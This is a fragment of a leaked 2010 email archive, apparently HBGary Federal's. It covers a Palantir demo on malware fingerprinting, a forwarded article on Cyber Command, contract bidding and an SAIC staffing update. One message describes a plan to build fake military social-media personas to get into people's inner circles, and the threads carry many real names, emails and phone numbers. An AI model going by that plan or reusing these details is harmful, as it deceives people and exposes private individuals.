\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nWe’d talked about setting up a call this week and, a webex discussion\r\nsoon after, to collaborate on the malware fingerprinting &amp; intelligence\r\nGreg presented at Black Hat. \r\n\r\n&nbsp;\r\n\r\nMatt and I are both available all Wednesday morning for that\r\nfirst call; is there any time that that works for your guys? \r\n\r\n&nbsp;\r\n\r\nI’m also confirmed to be in California next week from August 15th-20th,\r\nif it makes sense to do a follow-on discussion in Sacramento.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantirtech.com\r\n| 202-684-8066\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 04, 2010 7:49 PM\r\nTo: Aaron Zollman\r\nCc: Matthew Steckman\r\nSubject: Re: Invitation: Lunch at Palantir @ Thu Aug 5 12pm - 1pm (msteckman@palantirtech.com)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYummy. &nbsp;I\'ll be there.\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 4, 2010, at 7:42 PM, Aaron Zollman &lt;azollman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI can preview the proposition\r\n– having watched Greg’s talk at Blackhat, I think you guys really should see\r\nwhat we’re doing with Object Explorer in 3.0. Fantastic talk – even if it did\r\nhave 7 maltego slides and only one Palantir one J.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe fingerprint tool pulls\r\nout very specific, named features of malware for clustering; OE is really good\r\nat starting with hundreds of thousands (or millions) of objects and drilling\r\ndown and then charting based on specific features. So, if you want to only find\r\nmalware with a specific keylogger *and* a specific exfil library and\r\nthen chart the timeline over which it was collected, it’s about a a 7-click\r\noperation. And super-fast, too, even across a million fingerprint output\r\nobjects.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMind you, I don’t have a\r\nmalware library to run fingerprint against, so I’ll demo what we’ve done with\r\nnetwork logs. But you guys *do* have a malware library. Maybe we even\r\ncontributed a few samples to it.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFWIW, Palantir lunch line\r\ntomorrow is clam &amp; seafood bake, if I read the sign correctly.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantirtech.com |\r\n202-684-8066\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Matthew Steckman \r\nSent: Wednesday, August 04, 2010 7:37 PM\r\nTo: Aaron Barr\r\nCc: Aaron Zollman\r\nSubject: RE: Invitation: Lunch at Palantir @ Thu Aug 5 12pm - 1pm (msteckman@palantirtech.com)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nUnfortunately disaster struck on one of my sites and I have to\r\nbe downtown at this time tomorrow.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nYou still want to come to meet with Zollman?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-----Original\r\nAppointment-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Wednesday, August 04, 2010 6:40 PM\r\nTo: Aaron Barr; Matthew Steckman\r\nSubject: Invitation: Lunch at Palantir @ Thu Aug 5 12pm - 1pm (msteckman@palantirtech.com)\r\nWhen: Thursday, August 05, 2010 12:00 PM-1:00 PM (GMT-05:00) Eastern\r\nTime (US &amp; Canada).\r\nWhere: Palantir Lunch Line\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  more details »\r\n  \r\n  Lunch at Palantir\r\n  \r\n  \r\n   \r\n    \r\n    When\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Thu\r\n    Aug 5 12pm – 1pm Eastern Time\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Where\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Palantir\r\n    Lunch Line (map)\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Calendar\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msteckman@palantirtech.com\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Who\r\n    \r\n    \r\n    \r\n     \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; •\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Aaron Barr - organizer\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n      \r\n     \r\n     \r\n      \r\n      •\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msteckman@palantirtech.com\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n      \r\n     \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n    \r\n   \r\n  \r\n  \r\n  Going?&nbsp;&nbsp;\r\n  Yes - Maybe - No&nbsp;&nbsp;&nbsp; more options »\r\n  \r\n  \r\n \r\n \r\n  \r\n  Invitation from Google\r\n  Calendar \r\n  \r\n  You are receiving this courtesy email at the account msteckman@palantirtech.com\r\n  because you are an attendee of this event.\r\n  \r\n  \r\n  To stop receiving future notifications for this event,\r\n  decline this event. Alternatively you can sign up for a Google account at https://www.google.com/calendar/\r\n  and control your notification settings for your entire calendar.\r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&lt;&lt;\r\nFile: invite.ics &gt;&gt; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4514,'aaron_hbgary_com/4514.html'),(9985,'2010-08-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007812.M113904P14101Q4840.eml','\"Barr Aaron\" <aaron@hbgary.com>','Training Guide','Here\'s the latest...\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',4442,'aaron_hbgary_com/4442.html'),(9986,'2010-08-10','\"Lirette, Dave (TASC)\" <David.P.Lirette@TASC.COM>','/aaron@hbgary.com/new/1297007813.M156881P14101Q4841.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: Cyber Command chief details threats to U.S.','\r\n\r\n\r\n\r\n\r\nFW: Cyber Command chief details threats to U.S.\r\n\r\n\r\n\r\n\r\n\r\n\r\nSounds like business for your guys!\r\n\r\n\r\n\r\n\r\n\r\n\r\nClassification: UNCLASSIFIED\r\n\r\n\r\n\r\nCyber Command chief details threats to U.S.\r\n\r\nby Lance Whitney \r\n\r\nIf the United States wants to defend itself against cyberattacks, it needs to focus on four key areas, according to United States Cyber Command head and NSA Director Army Gen. Keith Alexander.\r\n\r\n\r\n\r\n\r\nU.S. CyberCom head General Keith Alexander\r\n\r\n(Credit: National Security Agency) \r\n\r\nSpeaking Tuesday on the first day of the Armed Forces Communications and Electronics Association\'s LandWarNet conference in Tampa, Fla., Alexander discussed the dangers to the country\'s military networks and what the U.S. must do to safeguard them.\r\n\r\nThe general said the threat of cyberattack affects more than 7 million different computers on more than 1,500 individual networks maintained by the Defense Department.\r\n\r\n&quot;On any given day, our networks are probed over 250,000 times an hour,&quot; said Alexander. That figure adds up to 6 million per day and includes more than 140 foreign spy organizations trying to infiltrate U.S. networks.\r\n\r\nAttacks on the network have also grown from exploitative to disruptive to more destructive. And it\'s the destructive threats that worry the general.\r\n\r\n&quot;It\'s only a small step to go from disrupting to destroying parts of the network,&quot; he said. &quot;If you think about our nation, our financial systems, our power grids--all of that resides on the network. Our government, our defense department, our intelligence community, all reside on the network. All of them are vulnerable to an attack like that. Shutting down that network would cripple our financial system.&quot;\r\n\r\nTo combat the growing threat of cyberattacks, the first priority is to have the right tools to hunt down the malware itself. That will require the DOD to protect its network the same way the Army protects an area of land, according to the general. &quot;Give the system administrators, our network operators, weapons to hunt inside our networks for malicious software and malicious actors to destroy them,&quot; said Alexander.\r\n\r\nProtecting network borders is another key goal. At points where users interact with the data, real-time notification of malware must be sent to the administrators in charge of protecting the network as well as foreign intelligence officials and law enforcement on the outside, Alexander said.\r\n\r\nThe government must also establish strong partnerships with key stakeholders, including allies as well as other federal agencies. &quot;We have to, with our allies, be able to see what is going on with the global network so we can provide real-time indications and warning to our defensive capabilities,&quot; said Alexander.\r\n\r\nFinally, those who protect the network must know what they can and can\'t do, both offensively and defensively, without having to seek approval for every action they take, according to Alexander.\r\n\r\n&quot;We have to have offensive capabilities, to, in real time, shut down somebody trying to attack us,&quot; the general said. &quot;You need autonomous decision logic that\'s based on the rule of law, the legal framework, to let network defenders know what they are allowed to do in the network\'s defense.&quot;\r\n\r\nBut that last point has been a key area of controversy as the U.S. has been struggling to determine what\'s okay and what\'s off limits when responding to foreign sources of cyberattacks. Are denial of service attacks acceptable in cyberwarfare? Are banks and electrical grids valid targets?\r\n\r\nDuring a congressional committee hearing over Alexander\'s nomination to head U.S. CyberCom, the general was asked a series of questions (PDF) on how he might respond in cyberwarfare. But saying such information was classified, Alexander declined to answer those questions publicly. \r\n\r\nAbout 9,000 soldiers and IT experts from the corporate sector are attending the three-day LandWarNet conference. \r\n\r\nOriginally posted at Military Tech \r\n\r\nLance Whitney wears a few different technology hats--journalist, Web developer, and software trainer. He\'s a contributing editor for Microsoft TechNet Magazine and writes for other computer publications and Web sites. You can follow Lance on Twitter at @lancewhit. Lance is a member of the CNET Blog Network, and he is not an employee of CNET. \r\n\r\nhttp://cnn-cnet.com.com/security/?tag=hdr;snav\r\n\r\n\r\n',7525,'aaron_hbgary_com/7525.html'),(9987,'2010-08-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007813.M371961P14101Q4842.eml','\"Lirette, Dave (TASC)\" <David.P.Lirette@tasc.com>,\"Lirette, Dave (TASC)\" <David.P.Lirette@tasc.com>','Re: Cyber Command chief details threats to U.S.','Thanks Dave, we could definitely use more work!TedOn Aug 9, 2010, at 7:14 PM, &quot;Lirette, Dave (TASC)&quot; &lt;David.P.Lirette@TASC.COM&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nSounds like business for your guys!\r\n\r\n\r\n\r\n\r\n\r\n\r\nClassification: UNCLASSIFIED\r\n\r\n\r\n\r\nCyber Command chief details threats to U.S.\r\n\r\n\r\nby Lance Whitney \r\n\r\n\r\nIf the United States wants to defend itself against cyberattacks, it needs to focus on four key areas, according to United States Cyber Command head and NSA Director Army Gen. Keith Alexander.\r\n\r\n\r\n\r\n\r\n\r\nU.S. CyberCom head General Keith Alexander\r\n\r\n(Credit: National Security Agency) \r\n\r\nSpeaking Tuesday on the first day of the Armed Forces Communications and Electronics Association&#39;s LandWarNet conference in Tampa, Fla., Alexander discussed the dangers to the country&#39;s military networks and what the U.S. must do to safeguard them.\r\n\r\n\r\nThe general said the threat of cyberattack affects more than 7 million different computers on more than 1,500 individual networks maintained by the Defense Department.\r\n\r\n&quot;On any given day, our networks are probed over 250,000 times an hour,&quot; said Alexander. That figure adds up to 6 million per day and includes more than 140 foreign spy organizations trying to infiltrate U.S. networks.\r\n\r\n\r\nAttacks on the network have also grown from exploitative to disruptive to more destructive. And it&#39;s the destructive threats that worry the general.\r\n\r\n&quot;It&#39;s only a small step to go from disrupting to destroying parts of the network,&quot; he said. &quot;If you think about our nation, our financial systems, our power grids--all of that resides on the network. Our government, our defense department, our intelligence community, all reside on the network. All of them are vulnerable to an attack like that. Shutting down that network would cripple our financial system.&quot;\r\n\r\n\r\nTo combat the growing threat of cyberattacks, the first priority is to have the right tools to hunt down the malware itself. That will require the DOD to protect its network the same way the Army protects an area of land, according to the general. &quot;Give the system administrators, our network operators, weapons to hunt inside our networks for malicious software and malicious actors to destroy them,&quot; said Alexander.\r\n\r\n\r\nProtecting network borders is another key goal. At points where users interact with the data, real-time notification of malware must be sent to the administrators in charge of protecting the network as well as foreign intelligence officials and law enforcement on the outside, Alexander said.\r\n\r\n\r\nThe government must also establish strong partnerships with key stakeholders, including allies as well as other federal agencies. &quot;We have to, with our allies, be able to see what is going on with the global network so we can provide real-time indications and warning to our defensive capabilities,&quot; said Alexander.\r\n\r\n\r\nFinally, those who protect the network must know what they can and can&#39;t do, both offensively and defensively, without having to seek approval for every action they take, according to Alexander.\r\n\r\n\r\n&quot;We have to have offensive capabilities, to, in real time, shut down somebody trying to attack us,&quot; the general said. &quot;You need autonomous decision logic that&#39;s based on the rule of law, the legal framework, to let network defenders know what they are allowed to do in the network&#39;s defense.&quot;\r\n\r\n\r\nBut that last point has been a key area of controversy as the U.S. has been struggling to determine what&#39;s okay and what&#39;s off limits when responding to foreign sources of cyberattacks. Are denial of service attacks acceptable in cyberwarfare? Are banks and electrical grids valid targets?\r\n\r\n\r\nDuring a congressional committee hearing over Alexander&#39;s nomination to head U.S. CyberCom, the general was asked a series of questions (PDF) on how he might respond in cyberwarfare. But saying such information was classified, Alexander declined to answer those questions publicly. \r\n\r\n\r\nAbout 9,000 soldiers and IT experts from the corporate sector are attending the three-day LandWarNet conference. \r\n\r\nOriginally posted at Military Tech \r\n\r\n\r\nLance Whitney wears a few different technology hats--journalist, Web developer, and software trainer. He&#39;s a contributing editor for Microsoft TechNet Magazine and writes for other computer publications and Web sites. You can follow Lance on Twitter at @lancewhit. Lance is a member of the CNET Blog Network, and he is not an employee of CNET. \r\n\r\n\r\nhttp://cnn-cnet.com.com/security/?tag=hdr;snav\r\n\r\n\r\n\r\n\r\n',9094,'aaron_hbgary_com/9094.html'),(9988,'2010-08-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007813.M711205P14101Q4843.eml','\"Lirette, Dave (TASC)\" <David.P.Lirette@tasc.com>,\"Lirette, Dave (TASC)\" <David.P.Lirette@tasc.com>','Re: Cyber Command chief details threats to U.S.','Tempered by this :http://www.cnn.com/2010/POLITICS/08/09/gates.joint.forces/index.html?hpt=T1\r\nOn Aug 9, 2010, at 7:14 PM, &quot;Lirette, Dave (TASC)&quot; &lt;David.P.Lirette@TASC.COM&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nSounds like business for your guys!\r\n\r\n\r\n\r\n\r\n\r\n\r\nClassification: UNCLASSIFIED\r\n\r\n\r\n\r\nCyber Command chief details threats to U.S.\r\n\r\n\r\nby Lance Whitney \r\n\r\n\r\nIf the United States wants to defend itself against cyberattacks, it needs to focus on four key areas, according to United States Cyber Command head and NSA Director Army Gen. Keith Alexander.\r\n\r\n\r\n\r\n\r\n\r\nU.S. CyberCom head General Keith Alexander\r\n\r\n(Credit: National Security Agency) \r\n\r\nSpeaking Tuesday on the first day of the Armed Forces Communications and Electronics Association&#39;s LandWarNet conference in Tampa, Fla., Alexander discussed the dangers to the country&#39;s military networks and what the U.S. must do to safeguard them.\r\n\r\n\r\nThe general said the threat of cyberattack affects more than 7 million different computers on more than 1,500 individual networks maintained by the Defense Department.\r\n\r\n&quot;On any given day, our networks are probed over 250,000 times an hour,&quot; said Alexander. That figure adds up to 6 million per day and includes more than 140 foreign spy organizations trying to infiltrate U.S. networks.\r\n\r\n\r\nAttacks on the network have also grown from exploitative to disruptive to more destructive. And it&#39;s the destructive threats that worry the general.\r\n\r\n&quot;It&#39;s only a small step to go from disrupting to destroying parts of the network,&quot; he said. &quot;If you think about our nation, our financial systems, our power grids--all of that resides on the network. Our government, our defense department, our intelligence community, all reside on the network. All of them are vulnerable to an attack like that. Shutting down that network would cripple our financial system.&quot;\r\n\r\n\r\nTo combat the growing threat of cyberattacks, the first priority is to have the right tools to hunt down the malware itself. That will require the DOD to protect its network the same way the Army protects an area of land, according to the general. &quot;Give the system administrators, our network operators, weapons to hunt inside our networks for malicious software and malicious actors to destroy them,&quot; said Alexander.\r\n\r\n\r\nProtecting network borders is another key goal. At points where users interact with the data, real-time notification of malware must be sent to the administrators in charge of protecting the network as well as foreign intelligence officials and law enforcement on the outside, Alexander said.\r\n\r\n\r\nThe government must also establish strong partnerships with key stakeholders, including allies as well as other federal agencies. &quot;We have to, with our allies, be able to see what is going on with the global network so we can provide real-time indications and warning to our defensive capabilities,&quot; said Alexander.\r\n\r\n\r\nFinally, those who protect the network must know what they can and can&#39;t do, both offensively and defensively, without having to seek approval for every action they take, according to Alexander.\r\n\r\n\r\n&quot;We have to have offensive capabilities, to, in real time, shut down somebody trying to attack us,&quot; the general said. &quot;You need autonomous decision logic that&#39;s based on the rule of law, the legal framework, to let network defenders know what they are allowed to do in the network&#39;s defense.&quot;\r\n\r\n\r\nBut that last point has been a key area of controversy as the U.S. has been struggling to determine what&#39;s okay and what&#39;s off limits when responding to foreign sources of cyberattacks. Are denial of service attacks acceptable in cyberwarfare? Are banks and electrical grids valid targets?\r\n\r\n\r\nDuring a congressional committee hearing over Alexander&#39;s nomination to head U.S. CyberCom, the general was asked a series of questions (PDF) on how he might respond in cyberwarfare. But saying such information was classified, Alexander declined to answer those questions publicly. \r\n\r\n\r\nAbout 9,000 soldiers and IT experts from the corporate sector are attending the three-day LandWarNet conference. \r\n\r\nOriginally posted at Military Tech \r\n\r\n\r\nLance Whitney wears a few different technology hats--journalist, Web developer, and software trainer. He&#39;s a contributing editor for Microsoft TechNet Magazine and writes for other computer publications and Web sites. You can follow Lance on Twitter at @lancewhit. Lance is a member of the CNET Blog Network, and he is not an employee of CNET. \r\n\r\n\r\nhttp://cnn-cnet.com.com/security/?tag=hdr;snav\r\n\r\n\r\n\r\n',6468,'aaron_hbgary_com/6468.html'),(9989,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007814.M311542P14101Q4845.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Nevermind','Silly question.  Maybe a little tired.\r\n\r\nAaron',14449,'aaron_hbgary_com/14449.html'),(9990,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007814.M520675P14101Q4846.eml','\"Steve Winterfeld\" <steven.winterfeld@TASC.COM>','TSA ITSSS','Hey I am partnered with you guys going after the TSA SOC...you should work on it.\r\n\r\nBTW, I got a new tattoo today...\r\n\r\n',12424,'aaron_hbgary_com/12424.html'),(9991,'2010-08-10','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297007814.M721772P14101Q4847.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: TSA ITSSS','I can red team \r\n\r\nSend pict!\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, August 09, 2010 8:54 PM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: TSA ITSSS\r\n\r\nHey I am partnered with you guys going after the TSA SOC...you should\r\nwork on it.\r\n\r\nBTW, I got a new tattoo today...\r\n\r\n',15363,'aaron_hbgary_com/15363.html'),(9992,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007814.M78531P14101Q4844.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Tech Volume Outline','Do we have one?\r\n\r\nAaron',14812,'aaron_hbgary_com/14812.html'),(9993,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007815.M244481P14101Q4849.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Interesting Social Networking TidBit','As we look to develop a social media collection and analysis capability I think we need to start capturing the types of rules for analysis we want to generate.\r\n\r\nAn interesting angle for probability popped up today on our morning TSA ITSSS call.  I am doing some social media research on incumbent employees and found that folks that we had listed as KCG employees (incumbent) actually belong to a company called Axxum Technologies. Sometimes it is difficult to discern subs on contracts but easier to determine primes.  Analyzing social contacts for probabilities of professional relationships on contracts could be important.\r\n\r\nAaron\r\n\r\n',1973,'aaron_hbgary_com/1973.html'),(9994,'2010-08-10','\"Kevin Youngblood\" <katnkevin2001@yahoo.com>','/aaron@hbgary.com/new/1297007815.M37848P14101Q4848.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Favor','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nKevin Youngblood has sent you a message.\r\n\r\n\r\n  Date:\r\n  8/10/2010\r\n\r\n\r\n  Subject:\r\n  RE: Favor\r\n\r\n\r\n\r\n  Aaron - We will be back in November to our Crofton home...Hey no problem on the photos, I think you can get what you need off my facebook page...let me know.  I will be heading out to sea for awhile soon so if you need to reach me later just hit me on facebook or at youngbloodkl@cg63.navy.mil.\r\n\r\n\r\n\r\nKevin\r\n\r\n\r\n\r\nOn 08/07/10 7:54 PM, Aaron Barr wrote:\r\n\r\n--------------------\r\n\r\nHey Kevin,\r\n\r\n\r\n\r\nWhen are u guys in DC?\r\n\r\n\r\n\r\nI have a favor to ask.  I am building a training course on social media benefits and vulnerabilities.  I briefed this at NSA a few months ago and was swarmed with questions and requests for help.  As a parallel to the training I would like to create some fake personas in the social media space and see how far I can get into peoples inner circles.  One of my profiles is a military person.  I would like to loosely use yours and my background combined along with some photos of you in uniform if I could.  Let me know.  I am not doing this under your name and will not be doing anything nefarious accept talking with people and friending them to see if I can get into different social environments.  Social media is a huge exploitation space for adversaries and not enough attention is brought to it.\r\n\r\n\r\n\r\nSee you soon,\r\n\r\nAaron\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',4448,'aaron_hbgary_com/4448.html'),(9995,'2010-08-10','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297007815.M517132P14101Q4850.eml','','RE: NANA - You\'re on the list of companies to consider','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe&#8217;ve had some recent staffing\r\nactivity due to additional tasks being put on the contract, but it appears that\r\nthe current NANA team is satisfying all of the requirements.\r\n\r\n&nbsp;\r\n\r\nThe update for this month is that there is\r\na slight chance we&#8217;ll activate the list within the next 30 days.\r\n\r\n&nbsp;\r\n\r\nI intend to send another update by the\r\nmiddle of next month.\r\n\r\n&nbsp;\r\n\r\nScott\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice\r\nPresident, Senior Account Executive | Intelligence, Security and Technology\r\nGroup\r\n\r\nmobile:\r\n410.382.0179 | email: scott.w.sheldon@saic.com \r\n\r\n&nbsp;\r\n\r\nScience\r\nApplications International Corporation\r\n\r\n6841\r\n  Benjamin Franklin Drive\r\n\r\nColumbia, MD\r\n 21046\r\n\r\nwww.saic.com\r\n\r\n&nbsp;\r\n\r\nEnergy&nbsp;\r\n|&nbsp; Environment&nbsp; |&nbsp; National Security&nbsp; |&nbsp; Health&nbsp;\r\n|&nbsp; Critical Infrastructure\r\n\r\n&nbsp;\r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n&nbsp;\r\n\r\nThis e-mail and any attachments to it are intended only for the\r\nidentified recipients. It may contain proprietary or otherwise legally\r\nprotected information of SAIC. Any unauthorized use or disclosure of this\r\ncommunication is strictly prohibited. If you have received this communication\r\nin error, please notify the sender and delete or otherwise destroy the e-mail\r\nand all attachments immediately.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Sheldon, Scott\r\nW. \r\nSent: Monday, July 12, 2010 5:50\r\nPM\r\nSubject: RE: NANA - You\'re on the\r\nlist of companies to consider\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI&#8217;ve again used BCC.\r\n\r\n&nbsp;\r\n\r\nThere is very little change in our\r\nstaffing situation at this time. The current team is doing a good job of\r\nsatisfying the customer&#8217;s requirements.\r\n\r\n&nbsp;\r\n\r\nAt this time I don&#8217;t anticipate\r\nactivating the list within the next 30 days. I intend to send another update by\r\nthe middle of next month.\r\n\r\n&nbsp;\r\n\r\nScott\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice\r\nPresident, Senior Account Executive | Intelligence, Security and Technology\r\nGroup\r\n\r\nmobile:\r\n410.382.0179 | email: scott.w.sheldon@saic.com \r\n\r\n&nbsp;\r\n\r\nScience\r\nApplications International Corporation\r\n\r\n6841\r\n  Benjamin Franklin Drive\r\n\r\nColumbia, MD\r\n 21046\r\n\r\nwww.saic.com\r\n\r\n&nbsp;\r\n\r\nEnergy&nbsp;\r\n|&nbsp; Environment&nbsp; |&nbsp; National Security&nbsp; |&nbsp; Health&nbsp;\r\n|&nbsp; Critical Infrastructure\r\n\r\n&nbsp;\r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n&nbsp;\r\n\r\nThis e-mail and any attachments to it are intended only for the\r\nidentified recipients. It may contain proprietary or otherwise legally\r\nprotected information of SAIC. Any unauthorized use or disclosure of this\r\ncommunication is strictly prohibited. If you have received this communication\r\nin error, please notify the sender and delete or otherwise destroy the e-mail\r\nand all attachments immediately.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Sheldon, Scott\r\nW. \r\nSent: Wednesday, June 09, 2010\r\n5:27 PM\r\nSubject: NANA - You\'re on the list\r\nof companies to consider\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI&#8217;ve used BCC on this note.\r\n\r\n&nbsp;\r\n\r\nI&#8217;m sending this note as a follow-up to meetings or\r\ncorrespondence I&#8217;ve had with your company to reassure you that there\r\nreally is a list and your company is really on it.\r\n\r\n&nbsp;\r\n\r\nAt this time, our NANA team is doing a good job of\r\nsatisfying the customer&#8217;s requirements for staff.\r\n\r\n&nbsp;\r\n\r\nIt is a very dynamic environment and we&#8217;re committed\r\nto keeping the customer&#8217;s mission needs met. If our existing team is\r\nunable to fill a funded requisition in a reasonable amount of time, we&#8217;ll\r\nbe corresponding with your company to give you the opportunity to satisfy the\r\nneed and join the team.\r\n\r\n&nbsp;\r\n\r\nI intend to send an update to you around the middle of each\r\nmonth so you&#8217;ll know your company is still being considered for future\r\nstaffing needs.\r\n\r\n&nbsp;\r\n\r\nScott\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice President, Senior Account\r\nExecutive | Intelligence, Security and Technology Group\r\n\r\nmobile: 410.382.0179 | email:\r\nscott.w.sheldon@saic.com \r\n\r\n&nbsp;\r\n\r\nScience Applications International\r\nCorporation\r\n\r\n6841 Benjamin Franklin Drive\r\n\r\nColumbia,\r\n MD 21046\r\n\r\nwww.saic.com\r\n\r\n&nbsp;\r\n\r\nEnergy&nbsp; |&nbsp;\r\nEnvironment&nbsp; |&nbsp; National Security&nbsp; |&nbsp; Health&nbsp; |&nbsp;\r\nCritical Infrastructure\r\n\r\n&nbsp;\r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n&nbsp;\r\n\r\nThis e-mail and any\r\nattachments to it are intended only\r\nfor the identified recipients. It may contain proprietary or otherwise legally\r\nprotected information of SAIC. Any unauthorized use or disclosure of this\r\ncommunication is strictly prohibited. If you have received this communication\r\nin error, please notify the sender and delete or otherwise destroy the 